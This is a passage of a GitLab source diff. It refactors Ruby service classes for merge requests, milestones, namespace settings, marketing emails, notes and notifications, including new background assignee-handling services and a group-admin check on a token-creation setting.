+
+ Gitlab::UsageDataCounters::MergeRequestCounter.count(:create)
+ link_lfs_objects(merge_request)
+
+ delete_milestone_total_merge_requests_counter_cache(merge_request.milestone)
+ end
+
+ def link_lfs_objects(merge_request)
+ LinkLfsObjectsService.new(merge_request.target_project).execute(merge_request)
end
end
end
diff --git a/app/services/merge_requests/base_service.rb b/app/services/merge_requests/base_service.rb
index 317cd11a69d..3a3765355d8 100644
--- a/app/services/merge_requests/base_service.rb
+++ b/app/services/merge_requests/base_service.rb
@@ -143,8 +143,12 @@ module MergeRequests
merge_request, merge_request.project, current_user, old_reviewers)
end
- def create_pipeline_for(merge_request, user)
- MergeRequests::CreatePipelineService.new(project, user).execute(merge_request)
+ def create_pipeline_for(merge_request, user, async: false)
+ if async
+ MergeRequests::CreatePipelineWorker.perform_async(project.id, user.id, merge_request.id)
+ else
+ MergeRequests::CreatePipelineService.new(project, user).execute(merge_request)
+ end
end
def abort_auto_merge(merge_request, reason)
@@ -164,7 +168,7 @@ module MergeRequests
def pipeline_merge_requests(pipeline)
pipeline.all_merge_requests.opened.each do |merge_request|
- next unless pipeline == merge_request.head_pipeline
+ next unless pipeline.id == merge_request.head_pipeline_id
yield merge_request
end
@@ -195,6 +199,12 @@ module MergeRequests
merge_request.update(merge_error: message) if save_message_on_model
end
+
+ def delete_milestone_total_merge_requests_counter_cache(milestone)
+ return unless milestone
+
+ Milestones::MergeRequestsCountService.new(milestone).delete_cache
+ end
end
end
diff --git a/app/services/merge_requests/build_service.rb b/app/services/merge_requests/build_service.rb
index e4d3c91d13e..ecc55eae5de 100644
--- a/app/services/merge_requests/build_service.rb
+++ b/app/services/merge_requests/build_service.rb
@@ -16,17 +16,7 @@ module MergeRequests
merge_request.source_project = find_source_project
merge_request.target_project = find_target_project
- # Force remove the source branch?
- merge_request.merge_params['force_remove_source_branch'] = force_remove_source_branch
-
- # Only assign merge requests params that are allowed
- self.params = assign_allowed_merge_params(merge_request, params)
-
- # Filter out params that are either not allowed or invalid
- filter_params(merge_request)
-
- # Filter out :add_label_ids and :remove_label_ids params
- filter_label_id_params
+ process_params
merge_request.compare_commits = []
set_merge_request_target_branch
@@ -70,21 +60,41 @@ module MergeRequests
end
end
- def filter_label_id_params
+ def filter_id_params
# merge_request.assign_attributes(...) below is a Rails
# method that only work if all the params it is passed have
# corresponding fields in the database. As there are no fields
- # in the database for :add_label_ids and :remove_label_ids, we
+ # in the database for :add_label_ids, :remove_label_ids,
+ # :add_assignee_ids and :remove_assignee_ids, we
# need to remove them from the params before the call to
# merge_request.assign_attributes(...)
#
- # IssuableBaseService#process_label_ids takes care
+ # IssuableBaseService#process_label_ids and
+ # IssuableBaseService#process_assignee_ids take care
# of the removal.
params[:label_ids] = process_label_ids(params, extra_label_ids: merge_request.label_ids.to_a)
+ params[:assignee_ids] = process_assignee_ids(params, extra_assignee_ids: merge_request.assignee_ids.to_a)
+
merge_request.assign_attributes(params.to_h.compact)
end
+ def process_params
+ # Force remove the source branch?
+ merge_request.merge_params['force_remove_source_branch'] = force_remove_source_branch
+
+ # Only assign merge requests params that are allowed
+ self.params = assign_allowed_merge_params(merge_request, params)
+
+ # Filter out params that are either not allowed or invalid
+ filter_params(merge_request)
+
+ # Filter out the following from params:
+ # - :add_label_ids and :remove_label_ids
+ # - :add_assignee_ids and :remove_assignee_ids
+ filter_id_params
+ end
+
def find_source_project
source_project = project_from_params(:source_project)
return source_project if source_project.present? && can?(current_user, :create_merge_request_from, source_project)
diff --git a/app/services/merge_requests/create_service.rb b/app/services/merge_requests/create_service.rb
index ac84a13f437..8186472ec65 100644
--- a/app/services/merge_requests/create_service.rb
+++ b/app/services/merge_requests/create_service.rb
@@ -14,16 +14,12 @@ module MergeRequests
end
def after_create(issuable)
+ issuable.mark_as_preparing
+
# Add new items to MergeRequests::AfterCreateService if they can
# be performed in Sidekiq
NewMergeRequestWorker.perform_async(issuable.id, current_user.id)
- todo_service.new_merge_request(issuable, current_user)
- issuable.cache_merge_request_closes_issues!(current_user)
-
- Gitlab::UsageDataCounters::MergeRequestCounter.count(:create)
- link_lfs_objects(issuable)
-
super
end
@@ -54,10 +50,6 @@ module MergeRequests
raise Gitlab::Access::AccessDeniedError
end
end
-
- def link_lfs_objects(issuable)
- LinkLfsObjectsService.new(issuable.target_project).execute(issuable)
- end
end
end
diff --git a/app/services/merge_requests/handle_assignees_change_service.rb b/app/services/merge_requests/handle_assignees_change_service.rb
new file mode 100644
index 00000000000..77ff0791eb4
--- /dev/null
+++ b/app/services/merge_requests/handle_assignees_change_service.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module MergeRequests
+ class HandleAssigneesChangeService < MergeRequests::BaseService
+ def async_execute(merge_request, old_assignees, options = {})
+ if Feature.enabled?(:async_handle_merge_request_assignees_change, merge_request.target_project, default_enabled: :yaml)
+ MergeRequests::HandleAssigneesChangeWorker
+ .perform_async(
+ merge_request.id,
+ current_user.id,
+ old_assignees.map(&:id),
+ options
+ )
+ else
+ execute(merge_request, old_assignees, options)
+ end
+ end
+
+ def execute(merge_request, old_assignees, options = {})
+ create_assignee_note(merge_request, old_assignees)
+ notification_service.async.reassigned_merge_request(merge_request, current_user, old_assignees.to_a)
+ todo_service.reassigned_assignable(merge_request, current_user, old_assignees)
+
+ new_assignees = merge_request.assignees - old_assignees
+ merge_request_activity_counter.track_users_assigned_to_mr(users: new_assignees)
+ merge_request_activity_counter.track_assignees_changed_action(user: current_user)
+
+ execute_assignees_hooks(merge_request, old_assignees) if options[:execute_hooks]
+ end
+
+ private
+
+ def execute_assignees_hooks(merge_request, old_assignees)
+ execute_hooks(
+ merge_request,
+ 'update',
+ old_associations: { assignees: old_assignees }
+ )
+ end
+ end
+end
+
+MergeRequests::HandleAssigneesChangeService.prepend_if_ee('EE::MergeRequests::HandleAssigneesChangeService')
diff --git a/app/services/merge_requests/merge_to_ref_service.rb b/app/services/merge_requests/merge_to_ref_service.rb
index c0115e94903..e07e0c985b4 100644
--- a/app/services/merge_requests/merge_to_ref_service.rb
+++ b/app/services/merge_requests/merge_to_ref_service.rb
@@ -66,7 +66,13 @@ module MergeRequests
end
def commit
- repository.merge_to_ref(current_user, source, merge_request, target_ref, commit_message, first_parent_ref, allow_conflicts)
+ repository.merge_to_ref(current_user,
+ source_sha: source,
+ branch: merge_request.target_branch,
+ target_ref: target_ref,
+ message: commit_message,
+ first_parent_ref: first_parent_ref,
+ allow_conflicts: allow_conflicts)
rescue Gitlab::Git::PreReceiveError, Gitlab::Git::CommandError => error
raise MergeError, error.message
end
diff --git a/app/services/merge_requests/migrate_external_diffs_service.rb b/app/services/merge_requests/migrate_external_diffs_service.rb
index 89b1e594c95..b1d2cd5d1c7 100644
--- a/app/services/merge_requests/migrate_external_diffs_service.rb
+++ b/app/services/merge_requests/migrate_external_diffs_service.rb
@@ -2,7 +2,7 @@
module MergeRequests
class MigrateExternalDiffsService < ::BaseService
- MAX_JOBS = 1000.freeze
+ MAX_JOBS = 1000
attr_reader :diff
diff --git a/app/services/merge_requests/push_options_handler_service.rb b/app/services/merge_requests/push_options_handler_service.rb
index 821558b8d6f..05ec87c7d60 100644
--- a/app/services/merge_requests/push_options_handler_service.rb
+++ b/app/services/merge_requests/push_options_handler_service.rb
@@ -129,7 +129,9 @@ module MergeRequests
target_branch: push_options[:target],
force_remove_source_branch: push_options[:remove_source_branch],
label: push_options[:label],
- unlabel: push_options[:unlabel]
+ unlabel: push_options[:unlabel],
+ assign: push_options[:assign],
+ unassign: push_options[:unassign]
}
params.compact!
@@ -137,6 +139,9 @@ module MergeRequests
params[:add_labels] = params.delete(:label).keys if params.has_key?(:label)
params[:remove_labels] = params.delete(:unlabel).keys if params.has_key?(:unlabel)
+ params[:add_assignee_ids] = params.delete(:assign).keys if params.has_key?(:assign)
+ params[:remove_assignee_ids] = params.delete(:unassign).keys if params.has_key?(:unassign)
+
params
end
diff --git a/app/services/merge_requests/refresh_service.rb b/app/services/merge_requests/refresh_service.rb
index 0fb16597aff..e04c5168cef 100644
--- a/app/services/merge_requests/refresh_service.rb
+++ b/app/services/merge_requests/refresh_service.rb
@@ -162,9 +162,12 @@ module MergeRequests
end
def refresh_pipelines_on_merge_requests(merge_request)
- create_pipeline_for(merge_request, current_user)
-
- UpdateHeadPipelineForMergeRequestWorker.perform_async(merge_request.id)
+ if Feature.enabled?(:code_review_async_pipeline_creation, project, default_enabled: :yaml)
+ create_pipeline_for(merge_request, current_user, async: true)
+ else
+ create_pipeline_for(merge_request, current_user, async: false)
+ UpdateHeadPipelineForMergeRequestWorker.perform_async(merge_request.id)
+ end
end
def abort_auto_merges(merge_request)
diff --git a/app/services/merge_requests/resolve_todos_service.rb b/app/services/merge_requests/resolve_todos_service.rb
new file mode 100644
index 00000000000..0010b596eee
--- /dev/null
+++ b/app/services/merge_requests/resolve_todos_service.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module MergeRequests
+ class ResolveTodosService
+ include BaseServiceUtility
+
+ def initialize(merge_request, user)
+ @merge_request = merge_request
+ @user = user
+ end
+
+ def async_execute
+ if Feature.enabled?(:resolve_merge_request_todos_async, merge_request.target_project, default_enabled: :yaml)
+ MergeRequests::ResolveTodosWorker.perform_async(merge_request.id, user.id)
+ else
+ execute
+ end
+ end
+
+ def execute
+ todo_service.resolve_todos_for_target(merge_request, user)
+ end
+
+ private
+
+ attr_reader :merge_request, :user
+ end
+end
diff --git a/app/services/merge_requests/retarget_chain_service.rb b/app/services/merge_requests/retarget_chain_service.rb
index f24d67243c9..e8101e447d2 100644
--- a/app/services/merge_requests/retarget_chain_service.rb
+++ b/app/services/merge_requests/retarget_chain_service.rb
@@ -17,7 +17,7 @@ module MergeRequests
.opened
.by_target_branch(merge_request.source_branch)
.preload_source_project
- .at_most(MAX_RETARGET_MERGE_REQUESTS)
+ .limit(MAX_RETARGET_MERGE_REQUESTS)
other_merge_requests.find_each do |other_merge_request|
# Update only MRs on projects that we have access to
diff --git a/app/services/merge_requests/update_assignees_service.rb b/app/services/merge_requests/update_assignees_service.rb
new file mode 100644
index 00000000000..b339a644e8c
--- /dev/null
+++ b/app/services/merge_requests/update_assignees_service.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+module MergeRequests
+ class UpdateAssigneesService < UpdateService
+ # a stripped down service that only does what it must to update the
+ # assignees, and knows that it does not have to check for other updates.
+ # This saves a lot of queries for irrelevant things that cannot possibly
+ # change in the execution of this service.
+ def execute(merge_request)
+ return merge_request unless current_user&.can?(:update_merge_request, merge_request)
+
+ old_assignees = merge_request.assignees
+ old_ids = old_assignees.map(&:id)
+ new_ids = new_assignee_ids(merge_request)
+ return merge_request if new_ids.size != update_attrs[:assignee_ids].size
+ return merge_request if old_ids.to_set == new_ids.to_set # no-change
+
+ attrs = update_attrs.merge(assignee_ids: new_ids)
+ merge_request.update!(**attrs)
+
+ # Defer the more expensive operations (handle_assignee_changes) to the background
+ MergeRequests::HandleAssigneesChangeService
+ .new(project, current_user)
+ .async_execute(merge_request, old_assignees, execute_hooks: true)
+
+ merge_request
+ end
+
+ private
+
+ def new_assignee_ids(merge_request)
+ # prime the cache - prevent N+1 lookup during authorization loop.
+ merge_request.project.team.max_member_access_for_user_ids(update_attrs[:assignee_ids])
+ User.id_in(update_attrs[:assignee_ids]).map do |user|
+ if user.can?(:read_merge_request, merge_request)
+ user.id
+ else
+ merge_request.errors.add(
+ :assignees,
+ "Cannot assign #{user.to_reference} to #{merge_request.to_reference}"
+ )
+ nil
+ end
+ end.compact
+ end
+
+ def assignee_ids
+ params.fetch(:assignee_ids).first(1)
+ end
+
+ def params
+ ps = super
+
+ # allow either assignee_id or assignee_ids, preferring assignee_id if passed.
+ { assignee_ids: ps.key?(:assignee_id) ? Array.wrap(ps[:assignee_id]) : ps[:assignee_ids] }
+ end
+
+ def update_attrs
+ @attrs ||= { updated_at: Time.current, updated_by: current_user, assignee_ids: assignee_ids }
+ end
+ end
+end
+
+MergeRequests::UpdateAssigneesService.prepend_if_ee('EE::MergeRequests::UpdateAssigneesService')
diff --git a/app/services/merge_requests/update_service.rb b/app/services/merge_requests/update_service.rb
index f5e14797f7e..8995c5f2411 100644
--- a/app/services/merge_requests/update_service.rb
+++ b/app/services/merge_requests/update_service.rb
@@ -11,18 +11,7 @@ module MergeRequests
end
def execute(merge_request)
- # We don't allow change of source/target projects and source branch
- # after merge request was created
- params.delete(:source_project_id)
- params.delete(:target_project_id)
- params.delete(:source_branch)
-
- if merge_request.closed_or_merged_without_fork?
- params.delete(:target_branch)
- params.delete(:force_remove_source_branch)
- end
-
- update_task_event(merge_request) || update(merge_request)
+ update_merge_request_with_specialized_service(merge_request) || general_fallback(merge_request)
end
def handle_changes(merge_request, options)
@@ -86,6 +75,21 @@ module MergeRequests
attr_reader :target_branch_was_deleted
+ def general_fallback(merge_request)
+ # We don't allow change of source/target projects and source branch
+ # after merge request was created
+ params.delete(:source_project_id)
+ params.delete(:target_project_id)
+ params.delete(:source_branch)
+
+ if merge_request.closed_or_merged_without_fork?
+ params.delete(:target_branch)
+ params.delete(:force_remove_source_branch)
+ end
+
+ update_task_event(merge_request) || update(merge_request)
+ end
+
def track_title_and_desc_edits(changed_fields)
tracked_fields = %w(title description)
@@ -147,7 +151,11 @@ module MergeRequests
def resolve_todos(merge_request, old_labels, old_assignees, old_reviewers)
return unless has_changes?(merge_request, old_labels: old_labels, old_assignees: old_assignees, old_reviewers: old_reviewers)
- todo_service.resolve_todos_for_target(merge_request, current_user)
+ service_user = current_user
+
+ merge_request.run_after_commit_or_now do
+ ::MergeRequests::ResolveTodosService.new(merge_request, service_user).async_execute
+ end
end
def handle_target_branch_change(merge_request)
@@ -200,21 +208,22 @@ module MergeRequests
merge_request_activity_counter.track_milestone_changed_action(user: current_user)
+ previous_milestone = Milestone.find_by_id(merge_request.previous_changes['milestone_id'].first)
+ delete_milestone_total_merge_requests_counter_cache(previous_milestone)
+
if merge_request.milestone.nil?
notification_service.async.removed_milestone_merge_request(merge_request, current_user)
else
notification_service.async.changed_milestone_merge_request(merge_request, merge_request.milestone, current_user)
+
+ delete_milestone_total_merge_requests_counter_cache(merge_request.milestone)
end
end
def handle_assignees_change(merge_request, old_assignees)
- create_assignee_note(merge_request, old_assignees)
- notification_service.async.reassigned_merge_request(merge_request, current_user, old_assignees)
- todo_service.reassigned_assignable(merge_request, current_user, old_assignees)
-
- new_assignees = merge_request.assignees - old_assignees
- merge_request_activity_counter.track_users_assigned_to_mr(users: new_assignees)
- merge_request_activity_counter.track_assignees_changed_action(user: current_user)
+ MergeRequests::HandleAssigneesChangeService
+ .new(project, current_user)
+ .async_execute(merge_request, old_assignees)
end
def handle_reviewers_change(merge_request, old_reviewers)
@@ -267,6 +276,34 @@ module MergeRequests
def quick_action_options
{ merge_request_diff_head_sha: params.delete(:merge_request_diff_head_sha) }
end
+
+ def update_merge_request_with_specialized_service(merge_request)
+ return unless params.delete(:use_specialized_service)
+
+ # If we're attempting to modify only a single attribute, look up whether
+ # we have a specialized, targeted service we should use instead. We may
+ # in the future extend this to include specialized services that operate
+ # on multiple attributes, but for now limit to only single attribute
+ # updates.
+ #
+ return unless params.one?
+
+ attempt_specialized_update_services(merge_request, params.each_key.first.to_sym)
+ end
+
+ def attempt_specialized_update_services(merge_request, attribute)
+ case attribute
+ when :assignee_ids
+ assignees_service.execute(merge_request)
+ else
+ nil
+ end
+ end
+
+ def assignees_service
+ @assignees_service ||= ::MergeRequests::UpdateAssigneesService
+ .new(project, current_user, params)
+ end
end
end
diff --git a/app/services/metrics/dashboard/annotations/create_service.rb b/app/services/metrics/dashboard/annotations/create_service.rb
index c04f4c56b51..54f4e96378c 100644
--- a/app/services/metrics/dashboard/annotations/create_service.rb
+++ b/app/services/metrics/dashboard/annotations/create_service.rb
@@ -13,7 +13,8 @@ module Metrics
:create
def initialize(user, params)
- @user, @params = user, params
+ @user = user
+ @params = params
end
def execute
diff --git a/app/services/metrics/dashboard/annotations/delete_service.rb b/app/services/metrics/dashboard/annotations/delete_service.rb
index c6a6c4f5fbf..3efe6924a9b 100644
--- a/app/services/metrics/dashboard/annotations/delete_service.rb
+++ b/app/services/metrics/dashboard/annotations/delete_service.rb
@@ -11,7 +11,8 @@ module Metrics
:delete
def initialize(user, annotation)
- @user, @annotation = user, annotation
+ @user = user
+ @annotation = annotation
end
def execute
diff --git a/app/services/metrics/dashboard/grafana_metric_embed_service.rb b/app/services/metrics/dashboard/grafana_metric_embed_service.rb
index b8c5c17c738..6069d236e82 100644
--- a/app/services/metrics/dashboard/grafana_metric_embed_service.rb
+++ b/app/services/metrics/dashboard/grafana_metric_embed_service.rb
@@ -122,7 +122,8 @@ module Metrics
# Identifies the uid of the dashboard based on url format
class GrafanaUidParser
def initialize(grafana_url, project)
- @grafana_url, @project = grafana_url, project
+ @grafana_url = grafana_url
+ @project = project
end
def parse
@@ -145,7 +146,8 @@ module Metrics
# If no panel is specified, defaults to the first valid panel.
class DatasourceNameParser
def initialize(grafana_url, grafana_dashboard)
- @grafana_url, @grafana_dashboard = grafana_url, grafana_dashboard
+ @grafana_url = grafana_url
+ @grafana_dashboard = grafana_dashboard
end
def parse
diff --git a/app/services/metrics/dashboard/panel_preview_service.rb b/app/services/metrics/dashboard/panel_preview_service.rb
index 5b24d817fb6..02dd908e229 100644
--- a/app/services/metrics/dashboard/panel_preview_service.rb
+++ b/app/services/metrics/dashboard/panel_preview_service.rb
@@ -22,7 +22,9 @@ module Metrics
].freeze
def initialize(project, panel_yaml, environment)
- @project, @panel_yaml, @environment = project, panel_yaml, environment
+ @project = project
+ @panel_yaml = panel_yaml
+ @environment = environment
end
def execute
diff --git a/app/services/metrics/users_starred_dashboards/create_service.rb b/app/services/metrics/users_starred_dashboards/create_service.rb
index 7784ed4eb4e..9642df87861 100644
--- a/app/services/metrics/users_starred_dashboards/create_service.rb
+++ b/app/services/metrics/users_starred_dashboards/create_service.rb
@@ -11,7 +11,9 @@ module Metrics
:create
def initialize(user, project, dashboard_path)
- @user, @project, @dashboard_path = user, project, dashboard_path
+ @user = user
+ @project = project
+ @dashboard_path = dashboard_path
end
def execute
diff --git a/app/services/metrics/users_starred_dashboards/delete_service.rb b/app/services/metrics/users_starred_dashboards/delete_service.rb
index 579715bd49f..229c0e8cfc0 100644
--- a/app/services/metrics/users_starred_dashboards/delete_service.rb
+++ b/app/services/metrics/users_starred_dashboards/delete_service.rb
@@ -5,7 +5,9 @@ module Metrics
module UsersStarredDashboards
class DeleteService < ::BaseService
def initialize(user, project, dashboard_path = nil)
- @user, @project, @dashboard_path = user, project, dashboard_path
+ @user = user
+ @project = project
+ @dashboard_path = dashboard_path
end
def execute
diff --git a/app/services/milestones/base_service.rb b/app/services/milestones/base_service.rb
index f30194c0bfe..0d7d855bf5e 100644
--- a/app/services/milestones/base_service.rb
+++ b/app/services/milestones/base_service.rb
@@ -6,7 +6,9 @@ module Milestones
attr_accessor :parent, :current_user, :params
def initialize(parent, user, params = {})
- @parent, @current_user, @params = parent, user, params.dup
+ @parent = parent
+ @current_user = user
+ @params = params.dup
super
end
end
diff --git a/app/services/milestones/find_or_create_service.rb b/app/services/milestones/find_or_create_service.rb
index 881011e5106..b467ff98f54 100644
--- a/app/services/milestones/find_or_create_service.rb
+++ b/app/services/milestones/find_or_create_service.rb
@@ -5,7 +5,9 @@ module Milestones
attr_accessor :project, :current_user, :params
def initialize(project, user, params = {})
- @project, @current_user, @params = project, user, params.dup
+ @project = project
+ @current_user = user
+ @params = params.dup
end
def execute
diff --git a/app/services/milestones/merge_requests_count_service.rb b/app/services/milestones/merge_requests_count_service.rb
new file mode 100644
index 00000000000..be9ce3af44d
--- /dev/null
+++ b/app/services/milestones/merge_requests_count_service.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Milestones
+ class MergeRequestsCountService < BaseCountService
+ def initialize(milestone)
+ @milestone = milestone
+ end
+
+ def cache_key
+ "milestone_merge_requests_count_#{@milestone.milestoneish_id}"
+ end
+
+ def relation_for_count
+ @milestone.merge_requests
+ end
+ end
+end
diff --git a/app/services/milestones/transfer_service.rb b/app/services/milestones/transfer_service.rb
index 18d7e41adc7..b9bd259ca8b 100644
--- a/app/services/milestones/transfer_service.rb
+++ b/app/services/milestones/transfer_service.rb
@@ -24,6 +24,9 @@ module Milestones
update_issues_milestone(milestone, new_milestone)
update_merge_requests_milestone(milestone.id, new_milestone&.id)
+
+ delete_milestone_counts_caches(milestone)
+ delete_milestone_counts_caches(new_milestone)
end
end
end
@@ -71,9 +74,6 @@ module Milestones
def update_issues_milestone(old_milestone, new_milestone)
Issue.where(project: project, milestone_id: old_milestone.id)
.update_all(milestone_id: new_milestone&.id)
-
- delete_milestone_issues_caches(old_milestone)
- delete_milestone_issues_caches(new_milestone)
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -84,11 +84,12 @@ module Milestones
end
# rubocop: enable CodeReuse/ActiveRecord
- def delete_milestone_issues_caches(milestone)
+ def delete_milestone_counts_caches(milestone)
return unless milestone
Milestones::IssuesCountService.new(milestone).delete_cache
Milestones::ClosedIssuesCountService.new(milestone).delete_cache
+ Milestones::MergeRequestsCountService.new(milestone).delete_cache
end
end
end
diff --git a/app/services/namespace_settings/update_service.rb b/app/services/namespace_settings/update_service.rb
index 3c9b7b637ac..c6c04b63690 100644
--- a/app/services/namespace_settings/update_service.rb
+++ b/app/services/namespace_settings/update_service.rb
@@ -13,12 +13,25 @@ module NamespaceSettings
end
def execute
+ validate_resource_access_token_creation_allowed_param
+
if group.namespace_settings
group.namespace_settings.attributes = settings_params
else
group.build_namespace_settings(settings_params)
end
end
+
+ private
+
+ def validate_resource_access_token_creation_allowed_param
+ return if settings_params[:resource_access_token_creation_allowed].nil?
+
+ unless can?(current_user, :admin_group, group)
+ settings_params.delete(:resource_access_token_creation_allowed)
+ group.namespace_settings.errors.add(:resource_access_token_creation_allowed, _('can only be changed by a group admin.'))
+ end
+ end
end
end
diff --git a/app/services/namespaces/in_product_marketing_emails_service.rb b/app/services/namespaces/in_product_marketing_emails_service.rb
index f009f5d8538..eb81253bc08 100644
--- a/app/services/namespaces/in_product_marketing_emails_service.rb
+++ b/app/services/namespaces/in_product_marketing_emails_service.rb
@@ -23,10 +23,12 @@ module Namespaces
def initialize(track, interval)
@track = track
@interval = interval
- @sent_email_user_ids = []
+ @in_product_marketing_email_records = []
end
def execute
+ raise ArgumentError, "Track #{track} not defined" unless TRACKS.key?(track)
+
groups_for_track.each_batch do |groups|
groups.each do |group|
send_email_for_group(group)
@@ -36,16 +38,23 @@ module Namespaces
private
- attr_reader :track, :interval, :sent_email_user_ids
+ attr_reader :track, :interval, :in_product_marketing_email_records
def send_email_for_group(group)
- experiment_enabled_for_group = experiment_enabled_for_group?(group)
- experiment_add_group(group, experiment_enabled_for_group)
- return unless experiment_enabled_for_group
+ if Gitlab.com?
+ experiment_enabled_for_group = experiment_enabled_for_group?(group)
+ experiment_add_group(group, experiment_enabled_for_group)
+ return unless experiment_enabled_for_group
+ end
users_for_group(group).each do |user|
- send_email(user, group) if can_perform_action?(user, group)
+ if can_perform_action?(user, group)
+ send_email(user, group)
+ track_sent_email(user, track, series)
+ end
end
+
+ save_tracked_emails!
end
def experiment_enabled_for_group?(group)
@@ -70,8 +79,9 @@ module Namespaces
end
def users_for_group(group)
- group.users.where(email_opted_in: true)
- .where.not(id: sent_email_user_ids)
+ group.users
+ .where(email_opted_in: true)
+ .merge(Users::InProductMarketingEmail.without_track_and_series(track, series))
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -85,14 +95,11 @@ module Namespaces
user.can?(:start_trial, group)
when :team
user.can?(:admin_group_member, group)
- else
- raise NotImplementedError, "No ability defined for track #{track}"
end
end
def send_email(user, group)
NotificationService.new.in_product_marketing(user.id, group.id, track, series)
- sent_email_user_ids << user.id
end
def completed_actions
@@ -101,7 +108,8 @@ module Namespaces
end
def range
- (interval + 1).days.ago.beginning_of_day..(interval + 1).days.ago.end_of_day
+ date = (interval + 1).days.ago
+ date.beginning_of_day..date.end_of_day
end
def incomplete_action
@@ -111,5 +119,20 @@ module Namespaces
def series
INTERVAL_DAYS.index(interval)
end
+
+ def save_tracked_emails!
+ Users::InProductMarketingEmail.bulk_insert!(in_product_marketing_email_records)
+ @in_product_marketing_email_records = []
+ end
+
+ def track_sent_email(user, track, series)
+ in_product_marketing_email_records << Users::InProductMarketingEmail.new(
+ user: user,
+ track: track,
+ series: series,
+ created_at: Time.zone.now,
+ updated_at: Time.zone.now
+ )
+ end
end
end
diff --git a/app/services/notes/create_service.rb b/app/services/notes/create_service.rb
index 488c847dcbb..e63099a0820 100644
--- a/app/services/notes/create_service.rb
+++ b/app/services/notes/create_service.rb
@@ -75,16 +75,9 @@ module Notes
increment_usage_counter(note)
track_event(note, current_user)
- if Feature.enabled?(:notes_create_service_tracking, project)
- Gitlab::Tracking.event('Notes::CreateService', 'execute', **tracking_data_for(note))
- end
-
if note.for_merge_request? && note.diff_note? && note.start_of_discussion?
Discussions::CaptureDiffNotePositionService.new(note.noteable, note.diff_file&.paths).execute(note.discussion)
end
-
- track_note_creation_usage_for_issues(note) if note.for_issue?
- track_note_creation_usage_for_merge_requests(note) if note.for_merge_request?
end
def do_commands(note, update_params, message, only_commands)
@@ -111,6 +104,16 @@ module Notes
}
end
+ def track_event(note, user)
+ track_note_creation_usage_for_issues(note) if note.for_issue?
+ track_note_creation_usage_for_merge_requests(note) if note.for_merge_request?
+ track_usage_event(:incident_management_incident_comment, user.id) if note.for_issue? && note.noteable.incident?
+
+ if Feature.enabled?(:notes_create_service_tracking, project)
+ Gitlab::Tracking.event('Notes::CreateService', 'execute', **tracking_data_for(note))
+ end
+ end
+
def tracking_data_for(note)
label = Gitlab.ee? && note.author == User.visual_review_bot ? 'anonymous_visual_review_note' : 'note'
@@ -120,12 +123,6 @@ module Notes
}
end
- def track_event(note, user)
- return unless note.noteable.is_a?(Issue) && note.noteable.incident?
-
- track_usage_event(:incident_management_incident_comment, user.id)
- end
-
def track_note_creation_usage_for_issues(note)
Gitlab::UsageDataCounters::IssueActivityUniqueCounter.track_issue_comment_added_action(author: note.author)
end
@@ -135,3 +132,5 @@ module Notes
end
end
end
+
+Notes::CreateService.prepend_if_ee('EE::Notes::CreateService')
diff --git a/app/services/notification_recipients/builder/base.rb b/app/services/notification_recipients/builder/base.rb
index 81e6750a4ca..b41b969ad7c 100644
--- a/app/services/notification_recipients/builder/base.rb
+++ b/app/services/notification_recipients/builder/base.rb
@@ -100,6 +100,8 @@ module NotificationRecipients
# Get project/group users with CUSTOM notification level
# rubocop: disable CodeReuse/ActiveRecord
def add_custom_notifications
+ return new_add_custom_notifications if Feature.enabled?(:notification_setting_recipient_refactor, project)
+
user_ids = []
# Users with a notification setting on group or project
@@ -115,6 +117,48 @@ module NotificationRecipients
add_recipients(user_scope.where(id: user_ids), :custom, nil)
end
+
+ def new_add_custom_notifications
+ notification_by_sources = related_notification_settings_sources(:custom)
+
+ return if notification_by_sources.blank?
+
+ user_ids = NotificationSetting.from_union(notification_by_sources).select(:user_id)
+
+ add_recipients(user_scope.where(id: user_ids), :custom, nil)
+ end
+
+ def related_notification_settings_sources(level)
+ sources = [project, group].compact
+
+ sources.map do |source|
+ source
+ .notification_settings
+ .where(source_or_global_setting_by_level_query(level)).select(:user_id)
+ end
+ end
+
+ def global_setting_by_level_query(level)
+ table = NotificationSetting.arel_table
+ aliased_table = table.alias
+
+ table
+ .project('true')
+ .from(aliased_table)
+ .where(
+ aliased_table[:user_id].eq(table[:user_id])
+ .and(aliased_table[:source_id].eq(nil))
+ .and(aliased_table[:source_type].eq(nil))
+ .and(aliased_table[:level].eq(level))
+ ).exists
+ end
+
+ def source_or_global_setting_by_level_query(level)
+ table = NotificationSetting.arel_table
+ table.grouping(
+ table[:level].eq(:global).and(global_setting_by_level_query(level))
+ ).or(table[:level].eq(level))
+ end
# rubocop: enable CodeReuse/ActiveRecord
def add_project_watchers
diff --git a/app/services/notification_recipients/builder/request_review.rb b/app/services/notification_recipients/builder/request_review.rb
index 911d89c6a8e..8dd0c5d1587 100644
--- a/app/services/notification_recipients/builder/request_review.rb
+++ b/app/services/notification_recipients/builder/request_review.rb
@@ -6,7 +6,9 @@ module NotificationRecipients
attr_reader :merge_request, :current_user, :reviewer
def initialize(merge_request, current_user, reviewer)
- @merge_request, @current_user, @reviewer = merge_request, current_user, reviewer
+ @merge_request = merge_request
+ @current_user = current_user
+ @reviewer = reviewer
end
def target
diff --git a/app/services/notification_service.rb b/app/services/notification_service.rb
index fc2eb1dc4e4..6f1f3309ad9 100644
--- a/app/services/notification_service.rb
+++ b/app/services/notification_service.rb
@@ -79,6 +79,20 @@ class NotificationService
mailer.access_token_expired_email(user).deliver_later
end
+ # Notify the user when at least one of their ssh key has expired today
+ def ssh_key_expired(user, fingerprints)
+ return unless user.can?(:receive_notifications)
+
+ mailer.ssh_key_expired_email(user, fingerprints).deliver_later
+ end
+
+ # Notify the user when at least one of their ssh key is expiring soon
+ def ssh_key_expiring_soon(user, fingerprints)
+ return unless user.can?(:receive_notifications)
+
+ mailer.ssh_key_expiring_soon_email(user, fingerprints).deliver_later
+ end
+
# Notify a user when a previously unknown IP or device is used to
# sign in to their account
def unknown_sign_in(user, ip, time)
@@ -857,7 +871,7 @@ class NotificationService
end
def warn_skipping_notifications(user, object)
- Gitlab::AppLogger.warn(message: "Skipping sending notifications", user: user.id, klass: object.class, object_id: object.id)
+ Gitlab::AppLogger.warn(message: "Skipping sending notifications", user: user.id, klass: object.class.to_s, object_id: object.id)
end
end
diff --git a/app/services/packages/composer/composer_json_service.rb b/app/services/packages/composer/composer_json_service.rb
